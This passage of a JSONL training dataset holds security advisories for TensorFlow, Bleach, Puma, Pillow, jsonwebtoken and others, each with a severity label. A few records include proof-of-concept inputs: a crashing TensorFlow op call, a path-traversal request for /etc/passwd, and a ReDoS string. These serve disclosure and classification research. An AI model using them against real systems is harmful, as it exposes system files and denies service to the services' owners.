TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Overflow/denial of service in `tf.raw_ops.ReverseSequence`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.ReverseSequence` allows for stack overflow and/or `CHECK`-fail based denial of service.\n\n```python\nimport tensorflow as tf\n\ninput = tf.zeros([1, 1, 1], dtype=tf.int32)\nseq_lengths = tf.constant([0], shape=[1], dtype=tf.int32)\n\ntf.raw_ops.ReverseSequence(\n    input=input, seq_lengths=seq_lengths, seq_dim=-2, batch_dim=0)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/5b3b071975e01f0d250c928b2a8f901cd53b90a7/tensorflow/core/kernels/reverse_sequence_op.cc#L114-L118) fails to validate that `seq_dim` and `batch_dim` arguments are valid.\n  \nNegative values for `seq_dim` can result in stack overflow or `CHECK`-failure, depending on the version of Eigen code used to implement the operation. Similar behavior can be exhibited by invalid values of `batch_dim`.\n  \n### Patches\nWe have patched the issue in GitHub commit [ecf768cbe50cedc0a45ce1ee223146a3d3d26d23](https://github.com/tensorflow/tensorflow/commit/ecf768cbe50cedc0a45ce1ee223146a3d3d26d23).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "82ffce3e2713423110ae", "text": "regular expression denial-of-service (ReDoS) in Bleach\n\n### Impact\n\n`bleach.clean` behavior parsing style attributes could result in a regular expression denial of service (ReDoS).\n\nCalls to ``bleach.clean`` with an allowed tag with an allowed ``style`` attribute are vulnerable to ReDoS. For example, ``bleach.clean(..., attributes={'a': ['style']})``.\n\n### Patches\n\n3.1.4\n\n### Workarounds\n\n* do not whitelist the style attribute in `bleach.clean` calls\n\n* limit input string length\n\n### References\n\n* https://bugzilla.mozilla.org/show_bug.cgi?id=1623633\n* https://www.regular-expressions.info/redos.html\n* https://blog.r2c.dev/posts/finding-python-redos-bugs-at-scale-using-dlint-and-r2c/\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6817\n\n### Credits\n\n* Reported by schwag09 of r2c\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue at https://github.com/mozilla/bleach/issues\n* Email us at security@mozilla.org", "text_raw": "regular expression denial-of-service (ReDoS) in Bleach\n\n[Severity: HIGH]\n\n### Impact\n\n`bleach.clean` behavior parsing style attributes could result in a regular expression denial of service (ReDoS).\n\nCalls to ``bleach.clean`` with an allowed tag with an allowed ``style`` attribute are vulnerable to ReDoS. For example, ``bleach.clean(..., attributes={'a': ['style']})``.\n\n### Patches\n\n3.1.4\n\n### Workarounds\n\n* do not whitelist the style attribute in `bleach.clean` calls\n\n* limit input string length\n\n### References\n\n* https://bugzilla.mozilla.org/show_bug.cgi?id=1623633\n* https://www.regular-expressions.info/redos.html\n* https://blog.r2c.dev/posts/finding-python-redos-bugs-at-scale-using-dlint-and-r2c/\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6817\n\n### Credits\n\n* Reported by schwag09 of r2c\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue at https://github.com/mozilla/bleach/issues\n* Email us at security@mozilla.org", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-30", "split": "train"}
-{"id": "84f7ef41bf35e6f54d92", "text": "Citrix StoreFront Server XML External Entity (XXE) Processing Vulnerability\n\nAffected: Citrix StoreFront Server\n\nCitrix StoreFront Server contains an XML External Entity (XXE) processing vulnerability that may allow an unauthenticated attacker to retrieve potentially sensitive information.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-611\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Citrix StoreFront Server XML External Entity (XXE) Processing Vulnerability\n\nAffected: Citrix StoreFront Server\n\nCitrix StoreFront Server contains an XML External Entity (XXE) processing vulnerability that may allow an unauthenticated attacker to retrieve potentially sensitive information.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-611\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "d589a0ec422219b6c77c", "text": "Code execution in org.apache.storm:storm-core\n\nIn Apache Storm 0.10.0 through 0.10.2, 1.0.0 through 1.0.6, 1.1.0 through 1.1.2, and 1.2.0 through 1.2.1, an attacker with access to a secure storm cluster in some cases could execute arbitrary code as a different user.", "text_raw": "Code execution in org.apache.storm:storm-core\n\n[Severity: HIGH]\n\nIn Apache Storm 0.10.0 through 0.10.2, 1.0.0 through 1.0.6, 1.1.0 through 1.1.2, and 1.2.0 through 1.2.1, an attacker with access to a secure storm cluster in some cases could execute arbitrary code as a different user.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "0344f7fef2b64fb1ee74", "text": "Zen Cart v1.3.9f (typefilter) Local File Inclusion Vulnerability", "text_raw": "Zen Cart v1.3.9f (typefilter) Local File Inclusion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-10-01", "split": "train"}
-{"id": "dca9d7ffda9e0c3983af", "text": "Regular Expression Denial of Service (ReDOS)\n\nIn the npm package `color-string`, there is a  ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for\nlinearly increasing input lengths for `hwb()` color strings.\n\nStrings reaching more than 5000 characters would see several\nmilliseconds of processing time; strings reaching more than\n50,000 characters began seeing 1500ms (1.5s) of processing time.\n\nThe cause was due to a the regular expression that parses\nhwb() strings - specifically, the hue value - where\nthe integer portion of the hue value used a 0-or-more quantifier\nshortly thereafter followed by a 1-or-more quantifier.\n\nThis caused excessive backtracking and a cartesian scan,\nresulting in exponential time complexity given a linear\nincrease in input length.", "text_raw": "Regular Expression Denial of Service (ReDOS)\n\n[Severity: MEDIUM]\n\nIn the npm package `color-string`, there is a  ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for\nlinearly increasing input lengths for `hwb()` color strings.\n\nStrings reaching more than 5000 characters would see several\nmilliseconds of processing time; strings reaching more than\n50,000 characters began seeing 1500ms (1.5s) of processing time.\n\nThe cause was due to a the regular expression that parses\nhwb() strings - specifically, the hue value - where\nthe integer portion of the hue value used a 0-or-more quantifier\nshortly thereafter followed by a 1-or-more quantifier.\n\nThis caused excessive backtracking and a cartesian scan,\nresulting in exponential time complexity given a linear\nincrease in input length.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "fb753c2c5abe2a5332a3", "text": "Ability to switch channels via GET parameter enabled in production environments\n\n### Impact\n\nThis vulnerability gives the ability to switch channels via the `_channel_code` GET parameter in production environments. This was meant to be enabled only when `%kernel.debug%` is set to true.\n\nHowever, if no `sylius_channel.debug` is set explicitly in the configuration, the default value which is `%kernel.debug%` will be not resolved and cast to boolean, enabling this debug feature even if that parameter is set to false.\n\n### Patches\n\nPatch has been provided for Sylius 1.3.x and newer - **1.3.16, 1.4.12, 1.5.9, 1.6.5**. Versions older than 1.3 are not covered by our security support anymore.\n\n### Workarounds\n\nUnsupported versions could be patched by adding the following configuration to run in production:\n\n```yaml\nsylius_channel:\n    debug: false\n```", "text_raw": "Ability to switch channels via GET parameter enabled in production environments\n\n[Severity: LOW]\n\n### Impact\n\nThis vulnerability gives the ability to switch channels via the `_channel_code` GET parameter in production environments. This was meant to be enabled only when `%kernel.debug%` is set to true. \n\nHowever, if no `sylius_channel.debug` is set explicitly in the configuration, the default value which is `%kernel.debug%` will be not resolved and cast to boolean, enabling this debug feature even if that parameter is set to false.\n\n### Patches\n\nPatch has been provided for Sylius 1.3.x and newer - **1.3.16, 1.4.12, 1.5.9, 1.6.5**. Versions older than 1.3 are not covered by our security support anymore.\n\n### Workarounds\n\nUnsupported versions could be patched by adding the following configuration to run in production:\n\n```yaml\nsylius_channel:\n    debug: false\n```", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-01-31", "split": "train"}
-{"id": "7f808594e0a1f375e828", "text": "SpinetiX Fusion Digital Signage 3.4.8 Database Backup Disclosure", "text_raw": "SpinetiX Fusion Digital Signage 3.4.8 Database Backup Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-09-30", "split": "train"}
-{"id": "bd3575def05601d46af3", "text": "Polymorphic Typing issue in FasterXML jackson-databind\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10, 2.8.11.5, and 2.6.7.3. It is related to com.zaxxer.hikari.HikariDataSource. This is a different vulnerability than CVE-2019-14540.", "text_raw": "Polymorphic Typing issue in FasterXML jackson-databind\n\n[Severity: CRITICAL]\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10, 2.8.11.5, and 2.6.7.3. It is related to com.zaxxer.hikari.HikariDataSource. This is a different vulnerability than CVE-2019-14540.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "9e3de6c793977eb6eea2", "text": "Command Injection in apex-publish-static-files\n\nVersions of `apex-publish-static-files` before 2.0.1 are vulnerable to command injection. This is exploitable if user input is passed into the `connectString` option in the `publish` method.\n\n## Recommendation\n\nUpdate to version 2.0.1 or later.", "text_raw": "Command Injection in apex-publish-static-files\n\n[Severity: CRITICAL]\n\nVersions of `apex-publish-static-files` before 2.0.1 are vulnerable to command injection. This is exploitable if user input is passed into the `connectString` option in the `publish` method.\n\n\n## Recommendation\n\nUpdate to version 2.0.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-01", "split": "train"}
-{"id": "8cecf3b1cc00e666f37a", "text": "Out of bounds write in Pillow\n\nAn issue was discovered in Pillow before 8.1.1. TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. NOTE: this issue exists because of an incomplete fix for CVE-2020-35654.", "text_raw": "Out of bounds write in Pillow\n\n[Severity: CRITICAL]\n\nAn issue was discovered in Pillow before 8.1.1. TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode. NOTE: this issue exists because of an incomplete fix for CVE-2020-35654.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "3927b312ad44a7d59434", "text": "Potential unauthorized access to stored request & session data when plugin is misconfigured in October CMS Debugbar\n\n### Impact\nThe debugbar contains a perhaps little known feature where it will log all requests (and all information pertaining to each request including session data) whenever it is enabled. This presents a problem if the plugin is ever enabled on a system that is open to untrusted users as the potential exists for them to use this feature to view all requests being made to the application and obtain sensitive information from those requests. There even exists the potential for account takeovers of authenticated users by non-authenticated public users, which would then lead to a number of other potential issues as an attacker could theoretically get full access to the system if the required conditions existed.\n\n### Patches\nIssue has been patched in v3.1.0 by locking down access to the debugbar to all users; it now requires an authenticated backend user with a specifically enabled permission before it is even usable, and the feature that allows access to stored request information is restricted behind a different permission that's more restrictive.\n\n### Workarounds\nApply https://github.com/rainlab/debugbar-plugin/commit/86dd29f9866d712de7d98f5f9dc67751b82ecd18 to your installation manually if unable to upgrade to v3.1.0.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [octobercms@luketowers.ca](mailto:octobercms@luketowers.ca) & [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Acknowledgements\n\nThanks to [Freddie Poser](https://twitter.com/vogonjeltz101) for reporting the issue to the RainLab team.", "text_raw": "Potential unauthorized access to stored request & session data when plugin is misconfigured in October CMS Debugbar\n\n[Severity: MEDIUM]\n\n### Impact\nThe debugbar contains a perhaps little known feature where it will log all requests (and all information pertaining to each request including session data) whenever it is enabled. This presents a problem if the plugin is ever enabled on a system that is open to untrusted users as the potential exists for them to use this feature to view all requests being made to the application and obtain sensitive information from those requests. There even exists the potential for account takeovers of authenticated users by non-authenticated public users, which would then lead to a number of other potential issues as an attacker could theoretically get full access to the system if the required conditions existed.\n\n### Patches\nIssue has been patched in v3.1.0 by locking down access to the debugbar to all users; it now requires an authenticated backend user with a specifically enabled permission before it is even usable, and the feature that allows access to stored request information is restricted behind a different permission that's more restrictive.\n\n### Workarounds\nApply https://github.com/rainlab/debugbar-plugin/commit/86dd29f9866d712de7d98f5f9dc67751b82ecd18 to your installation manually if unable to upgrade to v3.1.0.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [octobercms@luketowers.ca](mailto:octobercms@luketowers.ca) & [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Acknowledgements\n\nThanks to [Freddie Poser](https://twitter.com/vogonjeltz101) for reporting the issue to the RainLab team.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "d1aa9459e16bff79cc1a", "text": "COMMAX CVD-Axx DVR 5.1.4 Weak Default Credentials Stream Disclosure", "text_raw": "COMMAX CVD-Axx DVR 5.1.4 Weak Default Credentials Stream Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-08-15", "split": "train"}
-{"id": "5b6a0d955548161424f0", "text": "Verification Bypass in jsonwebtoken\n\nVersions 4.2.1 and earlier of `jsonwebtoken` are affected by a verification bypass vulnerability. This is a result of weak validation of the JWT algorithm type, occuring when an attacker is allowed to arbitrarily specify the JWT algorithm.\n\n## Recommendation\n\nUpdate to version 4.2.2 or later.", "text_raw": "Verification Bypass in jsonwebtoken\n\n[Severity: CRITICAL]\n\nVersions 4.2.1 and earlier of `jsonwebtoken` are affected by a verification bypass vulnerability. This is a result of weak validation of the JWT algorithm type, occuring when an attacker is allowed to arbitrarily specify the JWT algorithm.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.2.2 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "4dfdaf0d13f99773442c", "text": "Puma's Keepalive Connections Causing Denial Of Service\n\nThis vulnerability is related to [CVE-2019-16770](https://github.com/puma/puma/security/advisories/GHSA-7xx3-m584-x994).\n\n### Impact\n\nThe fix for CVE-2019-16770 was incomplete. The original fix only protected existing connections that had already been accepted from having their requests starved by greedy persistent-connections saturating all threads in the same process. However, new connections may still be starved by greedy persistent-connections saturating all threads in all processes in the cluster.\n\nA `puma` server which received more concurrent `keep-alive` connections than the server had threads in its threadpool would service only a subset of connections, denying service to the unserved connections.\n\n### Patches\n\nThis problem has been fixed in `puma` 4.3.8 and 5.3.1.\n\n### Workarounds\n\nSetting `queue_requests false` also fixes the issue. This is not advised when using `puma` without a reverse proxy, such as `nginx` or `apache`, because you will open yourself to slow client attacks (e.g. [slowloris](https://en.wikipedia.org/wiki/Slowloris_(computer_security))).\n\nThe fix is very small. [A git patch is available here](https://gist.github.com/nateberkopec/4b3ea5676c0d70cbb37c82d54be25837) for those using [unsupported versions](https://github.com/puma/puma/security/policy#supported-versions) of Puma.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma).\n* To report problems with this fix or to report another vulnerability, see [our security policy.](https://github.com/puma/puma/security/policy)\n\n### Acknowledgements\n\nThank you to @MSP-Greg, @wjordan and @evanphx for their review on this issue.\n\nThank you to @ioquatix for providing a modified fork of `wrk` which made debugging this issue much easier.", "text_raw": "Puma's Keepalive Connections Causing Denial Of Service\n\n[Severity: HIGH]\n\nThis vulnerability is related to [CVE-2019-16770](https://github.com/puma/puma/security/advisories/GHSA-7xx3-m584-x994).\n\n### Impact\n\nThe fix for CVE-2019-16770 was incomplete. The original fix only protected existing connections that had already been accepted from having their requests starved by greedy persistent-connections saturating all threads in the same process. However, new connections may still be starved by greedy persistent-connections saturating all threads in all processes in the cluster.\n\nA `puma` server which received more concurrent `keep-alive` connections than the server had threads in its threadpool would service only a subset of connections, denying service to the unserved connections.\n\n### Patches\n\nThis problem has been fixed in `puma` 4.3.8 and 5.3.1.\n\n### Workarounds\n\nSetting `queue_requests false` also fixes the issue. This is not advised when using `puma` without a reverse proxy, such as `nginx` or `apache`, because you will open yourself to slow client attacks (e.g. [slowloris](https://en.wikipedia.org/wiki/Slowloris_(computer_security))).\n\nThe fix is very small. [A git patch is available here](https://gist.github.com/nateberkopec/4b3ea5676c0d70cbb37c82d54be25837) for those using [unsupported versions](https://github.com/puma/puma/security/policy#supported-versions) of Puma.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma).\n* To report problems with this fix or to report another vulnerability, see [our security policy.](https://github.com/puma/puma/security/policy)\n\n### Acknowledgements\n\nThank you to @MSP-Greg, @wjordan and @evanphx for their review on this issue. \n\nThank you to @ioquatix for providing a modified fork of `wrk` which made debugging this issue much easier.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "0c6d5a5f7d4bb5269fbb", "text": "Directory Traversal in wintiwebdev\n\nAffected versions of `wintiwebdev` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in wintiwebdev\n\n[Severity: HIGH]\n\nAffected versions of `wintiwebdev` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "06d2cdbf548d3dac69f0", "text": "Compiler optimisation leads to SEGFAULT\n\nAffected versions of the `pnet` crate were optimized out by compiler, which caused dereference of uninitialized file descriptor which caused segfault.", "text_raw": "Compiler optimisation leads to SEGFAULT\n\n[Severity: MEDIUM]\n\nAffected versions of the `pnet` crate were optimized out by compiler, which caused dereference of uninitialized file descriptor which caused segfault.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2b5799a030fd74b89ab5", "text": "Command injection in itext7-core\n\niTextPDF in iText before 7.1.17 allows command injection via a CompareTool filename that is mishandled on the gs (aka Ghostscript) command line in GhostscriptHelper.java.", "text_raw": "Command injection in itext7-core\n\n[Severity: CRITICAL]\n\niTextPDF in iText before 7.1.17 allows command injection via a CompareTool filename that is mishandled on the gs (aka Ghostscript) command line in GhostscriptHelper.java.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "9ad090527f007aaa8297", "text": "ReDoS in brace-expansion\n\nAffected versions of `brace-expansion` are vulnerable to a regular expression denial of service condition.\n\n## Proof of Concept\n\n```\nvar expand = require('brace-expansion');\nexpand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\n}');\n```\n\n## Recommendation\n\nUpdate to version 1.1.7 or later.", "text_raw": "ReDoS in brace-expansion\n\n[Severity: HIGH]\n\nAffected versions of `brace-expansion` are vulnerable to a regular expression denial of service condition.\n\n## Proof of Concept\n\n```\nvar expand = require('brace-expansion');\nexpand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\n}');\n```\n\n\n## Recommendation\n\nUpdate to version 1.1.7 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-01-29", "split": "train"}
-{"id": "61e41d792aaf1f51153e", "text": "SciTools Understand 2.6 DLL Loading Arbitrary Code Execution", "text_raw": "SciTools Understand 2.6 DLL Loading Arbitrary Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-02-08", "split": "train"}
-{"id": "c5d561a0f4f7ec75606f", "text": "archive-tar-minitar and minitar vulnerable to Path Traversal\n\nDirectory traversal vulnerability in the minitar before 0.6 and archive-tar-minitar 0.5.2 gems for Ruby allows remote attackers to write to arbitrary files via a `..` (dot dot) in a TAR archive entry.", "text_raw": "archive-tar-minitar and minitar vulnerable to Path Traversal\n\n[Severity: HIGH]\n\nDirectory traversal vulnerability in the minitar before 0.6 and archive-tar-minitar 0.5.2 gems for Ruby allows remote attackers to write to arbitrary files via a `..` (dot dot) in a TAR archive entry.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "8e7e4298375a1c757c81", "text": "SQL Injection in pycsw\n\nA SQL injection vulnerability in pycsw all versions before 2.0.2, 1.10.5 and 1.8.6 that leads to read and extract of any data from any table in the pycsw database that the database user has access to. Also on PostgreSQL (at least) it is possible to perform updates/inserts/deletes and database modifications to any table the database user has access to.", "text_raw": "SQL Injection in pycsw\n\n[Severity: CRITICAL]\n\nA SQL injection vulnerability in pycsw all versions before 2.0.2, 1.10.5 and 1.8.6 that leads to read and extract of any data from any table in the pycsw database that the database user has access to. Also on PostgreSQL (at least) it is possible to perform updates/inserts/deletes and database modifications to any table the database user has access to.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "180732740c25d1ab73fd", "text": "vault-cli contains possible RCE when reading user-defined data\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nvault-cli features the ability for rendering templated values (as explained in the [documentation](https://github.com/peopledoc/vault-cli/blob/2.2.1/docs/howto/templated_secrets.rst)). When a secret starts with the prefix `!template!`, vault-cli interprets the rest of the contents of the secret as a Jinja2 template.\nJinja2 is a powerful templating engine and it's not designed to safely render arbitrary templates. An attacker controlling a jinja2 template rendered on a machine can trigger arbitrary code, making this a Remote Code Execution (RCE) risk.\nIf the content of the vault can be completely trusted, then this is not a problem. Otherwise, if your threat model includes cases where an attacker can manipulate a secret value read from the vault using vault-cli, then this vulnerability may impact you.\n\nThis does not impact `vault` itself, except for the fact that the attacker, having an RCE on the machine that executes `vault-cli`, may abuse the token that `vault-cli` uses, to read, write or delete other data from the vault.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIn 3.0.0, the code related to interpreting vault templated secrets has been removed entirely.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nUsing the environment variable `VAULT_CLI_RENDER=false` or the flag `--no-render` (placed between `vault-cli` and the subcommand, e.g. `vault-cli --no-render get-all`) or adding `render: false` to the vault-cli configuration yaml file disables rendering and removes the vulnerability.\nUsing the python library, you can use: `vault_cli.get_client(render=False)` when creating your client to get a client that will not render templated secrets and thus operates securely.\n\n### References\n_Are there any links users can visit to find out more?_\n\nHere's an article explaining how jinja2 templates might be exploited to have side effects: https://podalirius.net/en/publications/grehack-2021-optimizing-ssti-payloads-for-jinja2/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the vault-cli repo](https://github.com/peopledoc/vault-cli/issues/new)", "text_raw": "vault-cli contains possible RCE when reading user-defined data\n\n[Severity: MEDIUM]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nvault-cli features the ability for rendering templated values (as explained in the [documentation](https://github.com/peopledoc/vault-cli/blob/2.2.1/docs/howto/templated_secrets.rst)). When a secret starts with the prefix `!template!`, vault-cli interprets the rest of the contents of the secret as a Jinja2 template.\nJinja2 is a powerful templating engine and it's not designed to safely render arbitrary templates. An attacker controlling a jinja2 template rendered on a machine can trigger arbitrary code, making this a Remote Code Execution (RCE) risk.\nIf the content of the vault can be completely trusted, then this is not a problem. Otherwise, if your threat model includes cases where an attacker can manipulate a secret value read from the vault using vault-cli, then this vulnerability may impact you.\n\nThis does not impact `vault` itself, except for the fact that the attacker, having an RCE on the machine that executes `vault-cli`, may abuse the token that `vault-cli` uses, to read, write or delete other data from the vault.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIn 3.0.0, the code related to interpreting vault templated secrets has been removed entirely.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nUsing the environment variable `VAULT_CLI_RENDER=false` or the flag `--no-render` (placed between `vault-cli` and the subcommand, e.g. `vault-cli --no-render get-all`) or adding `render: false` to the vault-cli configuration yaml file disables rendering and removes the vulnerability.\nUsing the python library, you can use: `vault_cli.get_client(render=False)` when creating your client to get a client that will not render templated secrets and thus operates securely.\n\n### References\n_Are there any links users can visit to find out more?_\n\nHere's an article explaining how jinja2 templates might be exploited to have side effects: https://podalirius.net/en/publications/grehack-2021-optimizing-ssti-payloads-for-jinja2/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the vault-cli repo](https://github.com/peopledoc/vault-cli/issues/new)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "8e2e775ac572b2dd7b9b", "text": "Server-side request forgery in Ghost CMS\n\nServer-side request forgery (SSRF) vulnerability in Ghost CMS < 3.10.0 allows an attacker to scan local or external network or otherwise interact with internal systems.", "text_raw": "Server-side request forgery in Ghost CMS\n\n[Severity: MEDIUM]\n\nServer-side request forgery (SSRF) vulnerability in Ghost CMS < 3.10.0 allows an attacker to scan local or external network or otherwise interact with internal systems.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "c2f8feb459cfb4dea9da", "text": "Dell SonicWALL Global Management System GMS 8.1 Blind SQL Injection", "text_raw": "Dell SonicWALL Global Management System GMS 8.1 Blind SQL Injection\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-12-29", "split": "train"}
-{"id": "c6988cb941a88ba00570", "text": "actionpack Cross-site Scripting vulnerability\n\nThe `sanitize_css` method in `lib/action_controller/vendor/html-scanner/html/sanitizer.rb` in the Action Pack component in Ruby on Rails before 2.3.18, 3.0.x and 3.1.x before 3.1.12, and 3.2.x before 3.2.13 does not properly handle `\\n` (newline) characters, which makes it easier for remote attackers to conduct cross-site scripting (XSS) attacks via crafted Cascading Style Sheets (CSS) token sequences.", "text_raw": "actionpack Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nThe `sanitize_css` method in `lib/action_controller/vendor/html-scanner/html/sanitizer.rb` in the Action Pack component in Ruby on Rails before 2.3.18, 3.0.x and 3.1.x before 3.1.12, and 3.2.x before 3.2.13 does not properly handle `\\n` (newline) characters, which makes it easier for remote attackers to conduct cross-site scripting (XSS) attacks via crafted Cascading Style Sheets (CSS) token sequences.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "c732abf3baff7f2f28d8", "text": "Signature validation bypass in XmlSecLibs\n\nRob Richards XmlSecLibs, all versions prior to v3.0.3, as used for example by SimpleSAMLphp, performed incorrect validation of cryptographic signatures in XML messages, allowing an authenticated attacker to impersonate others or elevate privileges by creating a crafted XML message.", "text_raw": "Signature validation bypass in XmlSecLibs\n\n[Severity: HIGH]\n\nRob Richards XmlSecLibs, all versions prior to v3.0.3, as used for example by SimpleSAMLphp, performed incorrect validation of cryptographic signatures in XML messages, allowing an authenticated attacker to impersonate others or elevate privileges by creating a crafted XML message.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "c7998b7e809113912718", "text": "Cross-site Request Forgery (CSRF) in joplin\n\nThe package joplin before 2.3.2 are vulnerable to Cross-site Request Forgery (CSRF) due to missing CSRF checks in various forms.", "text_raw": "Cross-site Request Forgery (CSRF) in joplin\n\n[Severity: MEDIUM]\n\nThe package joplin before 2.3.2 are vulnerable to Cross-site Request Forgery (CSRF) due to missing CSRF checks in various forms.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
